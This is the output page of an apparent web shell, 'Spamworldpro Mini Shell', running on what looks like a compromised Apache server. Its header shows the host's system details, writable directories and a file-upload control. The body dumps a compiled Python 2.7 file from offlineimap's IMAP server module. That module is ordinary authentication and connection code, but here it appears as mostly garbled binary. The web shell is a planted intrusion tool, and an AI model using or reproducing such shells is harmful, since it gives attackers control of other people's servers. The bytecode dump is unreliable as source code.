Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips
System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : fdshops ( 1003)
PHP Version : 8.2.21
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/offlineimap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/offlineimap/imapserver.pyc
�
��Vc@snddlmZmZmZmZmZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddlZddl
mZddlmZddlmZmZddlmZmZmZmZddlZddlmZy1eZddlZdee�kr,eZnWne k
r@nXd	fd
��YZ!de"fd��YZ#dS(
i����(tLocktBoundedSemaphoretThreadtEventt
currentThreadN(texc_info(tgaierror(tSSLErrortcert_time_to_seconds(timaplibutiltimaputilt
threadutiltOfflineImapError(tgetglobaluitauthGSSClientWrapt
IMAPServercBs�eZdZdZdZd�Zd�Zd�Zed�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(s"Initializes all variables from an IMAPRepository() instance

    Various functions, such as acquireconnection() return an IMAP4
    object on which we can operate.

    Public instance variables are: self.:
     delim The server's folder delimiter. Only valid after acquireconnection()
    iic	Cs"t�|_||_|j�|_|j�|_|j�|_|jrt|jrtt	d|dt	j
j��n|jr�|jn|j|_|jr�dn	|j�|_|j�|_|j�|_d|_d|_d|_|j�|_|j�|_|jtkr%tj|_n*|jtkrCtj |_ntj!|_|jr^dn	|j"�|_#|j$�|_%|j%dkr�|jr�dnd|_%n|j&�|_'|j(�|_)|j*�|_+|j+dkr�d|_,n|j-�|_.|j/�|_0|j1�|_2|j3�|_4|j5�|_6|j7�|_8|j9�|_:|j;�|_<d|_=d|_>|j?�|_@g|_Ag|_Bi|_CtD|j@�|_EtF�|_G|jH�|_I|jJ�|_K|jL|_Md|_Nt|_Od|jjPjQ}|jjR|d�s3tj|_Sn�|jjT|d�}y\ddlU}|jVd�\}}}tW|�}|jXtY||�||�|jZ|_SWnwt[k
r�|jj\d	�tj|_SnKt]t^fk
r}|jj\d
||jjPjQ|f�tj|_SnXdS(Ns%s: sMyou must enable precisely one type of tunnel (preauth or transport), not bothi�i�sAccount tproxyi����t:s-PySocks not installed, ignoring proxy option.s=Bad proxy option %s for account %s: %s Ignoring proxy option.(_R
tuitrepost	getconfigtconfigtgetpreauthtunneltpreauth_tunneltgettransporttunnelttransport_tunnelRtERRORtREPOttunneltNonetgetusertusernametget_remote_identityt
user_identitytget_auth_mechanismst	authmechstpasswordt
passworderrortgoodpasswordtgetssltusessltgetipv6tuseipv6tTruetsockettAF_INET6taftFalsetAF_INETt	AF_UNSPECtgethostthostnametgetporttporttgetsslclientcertt
sslclientcerttgetsslclientkeytsslclientkeytgetsslcacertfilet
sslcacertfilet_IMAPServer__verifycerttget_ssl_fingerprinttfingerprintt
getsslversiont
sslversiontgettlslevelttlsleveltgetoauth2_refresh_tokentoauth2_refresh_tokentgetoauth2_access_tokentoauth2_access_tokentgetoauth2_client_idtoauth2_client_idtgetoauth2_client_secrettoauth2_client_secrettgetoauth2_request_urltoauth2_request_urltdelimtroottgetmaxconnectionstmaxconnectionstavailableconnectionstassignedconnectionst	lastownerRt	semaphoreRtconnectionlocktgetreferencet	referencetgetidlefolderstidlefolderstGSS_STATE_STEPtgss_steptgss_vctgssapitaccounttnamet
has_optiontproxied_sockettgettsockstsplittinttsetdefaultproxytgetattrt
socksockettImportErrortwarntAttributeErrort
ValueError(	tselfRt_account_sectionRRct
proxy_typethostR5te((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__init__;s�	
										
cCs�|jdkr|jS|jdkr;|jdkr;|jS|jj�pn|jj|jj�|j	|j�|_d|_|jS(s#Returns the server password or NoneN(
R&RR$R%RtgetpasswordRtgetpasstgetnameR(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt
__getpassword�s	cCs|jS(skReturns this server's folder root. Can only be called after one
        or more calls to acquireconnection.(RN(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytgetroot�scCsw|dkrdS|jj�|jj|�|js<|rI|j�n|jj|�|jj	�|j
j	�dS(s�Releases a connection, returning it to the pool.

        :param drop_conn: If True, the connection will be released and
           not be reused. This can be used to indicate broken connections.N(RRUtacquireRRtremovet	TerminatetlogoutRQtappendtreleaseRT(Rmt
connectiont	drop_conn((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytreleaseconnection�s


cCsm|j�}|jjdd|�|j�}|jdtj||�j�}|jjdd|�|S(Ntimaps__md5handler: got challenge %st s__md5handler: returning %s(tstripRtdebugt_IMAPServer__getpasswordRthmactnewt	hexdigest(Rmtresponset	challengetpasswdtretval((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__md5handler�s#cCs0|jjdd�|j|j|j��dS(s( Basic authentication via LOGIN command.R�s$Attempting IMAP LOGIN authenticationN(RR�tloginRR�(Rmtimapobj((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__loginauth�scCs�|j}|j�}d}|jdkr6|j}nd}|j|||f�jd�}|j||df�jd�}|jjdd|�|S(s\Implements SASL PLAIN authentication, RFC 4616,
          http://tools.ietf.org/html/rfc4616tusutf-8s(passwd hidden for log)R�s__plainhandler: returning %sN(RR�R!RtjointencodeRR�(RmR�tauthcR�tauthztNULLR�tlogsafe_retval((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__plainhandler�s	!!cCsd|jdkr"|jdkr"dS|jdkri}|j|d<|j|d<|j|d<d|d<|jjdd|j�|jjdd|�tj}|j	t_z(t
j|jt
j|��j
�}Wd|t_Xtj|�}|jjdd|�|d	|_n|jjdd
|j�d|j|jf}|jjdd|�|S(
Nt	client_idt
client_secrett
refresh_tokent
grant_typeR�sxoauth2handler: url "%s"sxoauth2handler: params "%s"sxoauth2handler: response "%s"taccess_tokens!xoauth2handler: access_token "%s"suser=%sauth=Bearer %ssxoauth2handler: returning "%s"(RDRRFRHRJRR�RLR,Raturllibturlopent	urlencodetreadtjsontloadsR(RmR�tparamstoriginal_sockettresptauth_string((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__xoauth2handler�s,



	(
cCsdtj|�}y�|j|jkr�|jsatjd|j�\}|_tj|j�}ntj	|j|�}|tj
kr�|j|_q�nW|j|jkr�tj|j|�}tj|j�}tj
|j||j�}ntj|j�}WnDtjk
rG}|jjdd|dd|ddf�dSX|sWd}ntj|�S(Nsimap@R�s%s: %siiR�(tbase64t	b64encodeR[RZR\tkerberostauthGSSClientInitR3tauthGSSClientResponsetauthGSSClientSteptAUTH_GSS_CONTINUEtGSS_STATE_WRAPtauthGSSClientUnwrapRRtGSSErrorRR�Rt	b64decode(RmR�tdatatrcterr((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt	__gssauth�s,	-	cCs�d|jkr�|jr�|jjdd�y|j�Wq�|jk
r~}tdt|�tjj	dt�d��q�XndS(NtSTARTTLSR�sUsing STARTTLS connections"Failed to start TLS connection: %si(tcapabilitiesR(RR�tstarttlsterrorRtstrRRRR(RmR�Rq((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__start_tlss
cCs�ts
tS|jj�zry|jd|j�tSWn"|jk
rY}t|_�n/Xt|_t	j
|j�d|_|j
|_Wd|jj�XdS(NtGSSAPI(thave_gssR/RURxtauthenticatet_IMAPServer__gssauthR+R�R]R�tauthGSSClientCleanR\RRZR[R}(RmR�Rq((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__authn_gssapi7s
			cCs|jd|j�tS(NsCRAM-MD5(R�t_IMAPServer__md5handlerR+(RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__authn_cram_md5JscCs|jd|j�tS(NtPLAIN(R�t_IMAPServer__plainhandlerR+(RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt
__authn_plainNscCs|jd|j�tS(NtXOAUTH2(R�t_IMAPServer__xoauth2handlerR+(RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__authn_xoauth2RscCs<d|jkr'tdtjj��n|j|�tSdS(Nt
LOGINDISABLEDs3IMAP LOGIN is disabled by server.  Need to use SSL?(R�RRRt_IMAPServer__loginauthR+(RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt
__authn_loginVs

cCsbi|jttfd6|jttfd6|jttfd6|jttfd6|jttfd6}g}t}t}|j}d|kr�|jd�|j	dd�nx|D]}||kr�t
d|��n||\}}	}
|	r|rt}|j|�n|
r6d|}||jkr6q�q6nt}|j
jd	d
|�y||�rfdSWq�|jtfk
r�}|j
jd||f�|j||f�q�Xq�Wt|�r�d
jtd�|��}
td|
tjj��n|s^djtd�td�|j���}td|jdj|j�|ftjj��ndS(sgAuthentication machinery for self.acquireconnection().

        Raises OfflineImapError() of type ERROR.REPO when
        there are either fatal problems or no authentications
        succeeded.

        If any authentication method succeeds, routine should exit:
        warnings for failed methods are to be produced in the
        respective except blocks.R�sCRAM-MD5R�R�tLOGINis:Bad authentication method %s, please, file OfflineIMAP bugsAUTH=R�uAttempting %s authenticationNs%s authentication failed: %ss
	cSs!dj|dt|d�f�S(Ns: ii(R�R�(tx((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt<lambda>�ss$All authentication types failed:
	%ss, cSs|dS(Ni((R�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR��scSs|dd!dkS(NiisAUTH=((R�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR��su`Repository %s: no supported authentication mechanisms found; configured %s, server advertises %s(t_IMAPServer__authn_gssapiR/R+t_IMAPServer__authn_cram_md5t_IMAPServer__authn_xoauth2t_IMAPServer__authn_plaint_IMAPServer__authn_loginR#Rytinsertt	Exceptiont_IMAPServer__start_tlsR�RR�R�RRjR|tlenR�tmapRRtfilterR(RmR�tauth_methodst	exc_stackttried_to_authnt	tried_tlstmechstmtfuncttryTLSt	check_captcapRqtmsgtmethods((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__authn_helperbs`	




			c
Cs�|jj�|jj�t�}d}t|j�r�d}x^tt|j�ddd�D]=}|j|}|j||j	kr^|}|j|=Pq^q^W|s�|jd}|jd=n|j
j|�|j	|j|<|jj�|S|jj�d}y/x�|s�|j
r^|jjd|j
�tj|j
dtj�d|j�}d}n�|jr�|jj|j|j�tj|j|j|j|j|j|j|jdtj�d|jd|jd|jd	|j �}nO|jj|j|j�tj!|j|jdtj�d|jd	|j �}|j"s	y#|j#|�|j$|_%d}Wq�t&k
r�}t'|�|_(�q�Xq	q	W|j)j*d
d�r�|j+�n|j,�\}}|dgkr�t-|dj.�j/��|_0n|j1dkr�|j2|j3d�d}	|	dgks;|	dkrW|j2|j3d�d}	n|	dgksr|	dkr�d
|j)j4�|j3f}
|jj5|
�t6|
��nt7j8|	d�d\|_1|_9t7j:|j1�|_1t7j:|j9�|_9n|j�%|j
j|�|j	|j|<WdQX|SWn�t6k
r�}|jj�t&j;j<}t=|�t>kr�d|j|j)f}t&||�dt?�d�n�t@|tA�r%|jBtBjCkr%|jdkr�d|j|jf}nd|j|j)|f}t&||�dt?�d�nct@|tjD�r�|jEdtBjFkr�d|j|j|j)f}t&||�dt?�d�nt'|�d dkr�t&d|j|j)ft&j;j<�dt?�d�q��nXdS(s�Fetches a connection from the pool, making sure to create a new one
        if needed, to obey the maximum connection limits, etc.
        Opens a connection to the server and returns an appropriate
        object.ii����iRttimeoutt
use_socketR>t	tls_levelR.tusecompressions""s"*"s'Server '%s' returned no folders in '%s'Ns�Could not resolve name '%s' for repository '%s'. Make sure you have configured the server name correctly and that you are online.ii�szCould not connect via SSL to host '%s' and non-standard ssl port %d configured. Make sure you connect to the correct port.sWUnknown SSL protocol connecting to host '%s' for repository '%s'. OpenSSL responded:
%ss�Connection to host '%s:%d' for repository '%s' was refused. Make sure you have the right host and port configured and that you are actually able to access the network.iscan't open socket; errorsTCould not connect to remote server '%s' for repository '%s'. Remote does not answer.(GRTRxRURRR�RQtrangeRStidentRRR|R}RRt
connectingR	tIMAP4_TunnelR,tgetdefaulttimeoutRaR(R3R5tWrappedIMAP4_SSLR9R7R;R<R@R>RBR.tWrappedIMAP4Rt_IMAPServer__authn_helperR$R&RR�R%Rtgetconfbooleantenable_compressiont
capabilityttupletupperRdR�RMtlistRWRuRjR�R
t	imapsplitRNtdequoteRRttypeRRt
isinstanceRterrnotEPERMR�targstECONNREFUSED(
Rmt	curThreadR�tittryobjtsuccessRqttyptdattlistresR�tseveritytreason((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytacquireconnection�s�

	&





											


"#

!(cCs|jj�|jj�dS(s�Waits until there is a connection available.

        Note that between the time that a connection becomes available and the
        time it is requested, another thread may have grabbed it.  This function
        is mainly present as a way to avoid spawning thousands of threads to
        copy messages, then have them all wait for 3 available connections.
        It's OK if we have maxconnections + 1 or 2 threads, which is what this
        will help us do.N(RTRxR}(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytconnectionwaitWs

cCs�|j�ytj|j|j�x"|j|jD]}|j�q1Wg|_g|_i|_|j	|_
d|_t
|_WdQXdS(N(RURtsemaphoreresetRTRPRRRQR{RSRZR[RR\R/R](RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytcloseds
				cCsi|jjdd�x<|j�sQ|jj�t|j�t|j�}|jj�g}x�t	|�D]t}|jjdd||f�t|j
�|kr�t||j
|�}nt|�}|j�|j
|�qkW|jjdd�|j|�|jjdd�x"|D]}|j�|j�qW|jjdd�qW|jjdd�dS(	s;Sends a NOOP to each connection recorded.

        It will wait a maximum of timeout seconds between doing this, and will
        continue to do so until the Event object as passed is true.  This method
        is expected to be invoked in a separate thread, which should be join()'d
        after the event is set.R�skeepalive thread starteds)keepalive: processing connection %d of %dskeepalive: waiting for timeoutskeepalive: after waitskeepalive: all threads joineds keepalive: event is set; exitingN(RR�tisSetRURxR�RRRQR}R�RYt
IdleThreadtstartR|twaittstopR�(RmR�teventtnumconnectionstthreadsRtidler((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt	keepalivews.





cCsgd}|sd|S|j�}g}|jd�}|rdtj�t|�krdd||fSnxL|jdg�D]8}|d\}}	|dkrw|j|	j��qwqwWt|�dkr�d|SxB|jd	g�D].\}}	|d
kr�|j|	j��q�q�WxJ|D]B}
|
|ksWd|kr|
d|jdd
�d
krdSqWd|S(s�Verify that cert (in socket.getpeercert() format) matches hostname.

        CRLs are not handled.
        Returns error message if any problems are found and None on success.sCA Cert verifying failed: s%s no certificate receivedtnotAfters%s certificate expired %stsubjectit
commonNames%%s no commonName found in certificatetsubjectAltNametDNSt.s*.is/%s no matching domain name found in certificateN(tlowerRbttimeRR|R�RdR(RmtcertR3terrstrtdnsnamet	certnamestnotaftertstkeytvaluetcertname((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__verifycert�s.
,(t__name__t
__module__t__doc__RZR�RrR�RwR/R�R�R�R�R�R�R�R�R�R�R�R�R�R
RRRR<(((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR/s0	[							!								T	�	
		'RcBsJeZdd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(cCsw||_||_t�|_t�|_|dkrNtd|j�|_	ntd|j
�|_	|j	jd�dS(s�If invoked without 'folder', perform a NOOP and wait for
        self.stop() to be called. If invoked with folder, switch to IDLE
        mode and synchronize once we have a new messagettargetiN(tparenttfolderRtstop_sigR
RRRtnooptthreadt_IdleThread__idlet	setDaemon(RmR1R2((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyRr�s		cCs|jj�dS(N(R5R(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR�scCs|jj�dS(N(R3tset(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR�scCs|jj�dS(N(R5R�(Rm((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR��scCs�|jj�}zYy|j�WnD|jk
rf|jjd|j�|jj|t�d}nXWd|r�|jj|�|j
j�nXdS(Ns(Attempting NOOP on dropped connection %s(R1R
R4tabortRRjt
identifierR�R+RR3R(RmR�((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR4�scCs�|jj}|j}|j}|j}|j}|j|j�}|jdd�}|j	|�t
jj||dt
�|jdd�}|j	|�t�}|jt��dS(NtpresynchookR�tquicktpostsynchook(R1RR^t
localrepostremoterepoststatusrepost	getfolderR2tgetconftcallhooktofflineimaptaccountst
syncfolderR/R
tunregisterthreadR(RmR?R^R>R@tremotefolderthookR((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__dosync�s				

	cs��fd�}x��jj�s�t�_t}x�|s��jj�}y|j�j�Wn�tk
r�}|j	tj
jkr��jj
|t�d��jj|t�q�|j	tj
jkr��jj
|t�d�q��q3Xt}q3Wd|jkr|jd|�n!�jjd|j�|j��jj�y|j�Wn>|jk
r��jjd|j��jj|t�nX�jj|��jr�jj��j�qqWdS(s9Invoke IDLE mode until timeout or self.stop() is invoked.csH|\}}}|dkr7�jj�r7t�_n�jj�dS(s IDLE callback function invoked by imaplib2.

            This is invoked when a) The IMAP server tells us something
            while in IDLE mode, b) we get an Exception (e.g. on dropped
            connections, or c) the standard imaplib IDLE timeout of 29
            minutes kicks in.N(RR3RR+tneedsyncR8(Rtresulttcb_argtexc_data(Rm(s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pytcallbacksitIDLEROsFIMAP IDLE not supported on server '%s'.Sleep until next refresh cycle.s(Attempting NOOP on dropped connection %sN(R3RR/RKR1R
tselectR2RRRtFOLDER_RETRYRR�RR�R+tFOLDERR�tidleRjR:R4RR9tcleart_IdleThread__dosync(RmRORR�Rq((Rms:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt__idles@
		


	
N(
R-R.RRrRRR�R4RVR6(((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyR�s					($t	threadingRRRRRR�R,R�R�R�R"RtsysRRtsslRRRDR	R
RRtofflineimap.accountstofflineimap.uiR
R/R�R�tdirR+RiRtobjectR(((s:/usr/lib/python2.7/site-packages/offlineimap/imapserver.pyt<module>s2("

���

Spamworldpro Mini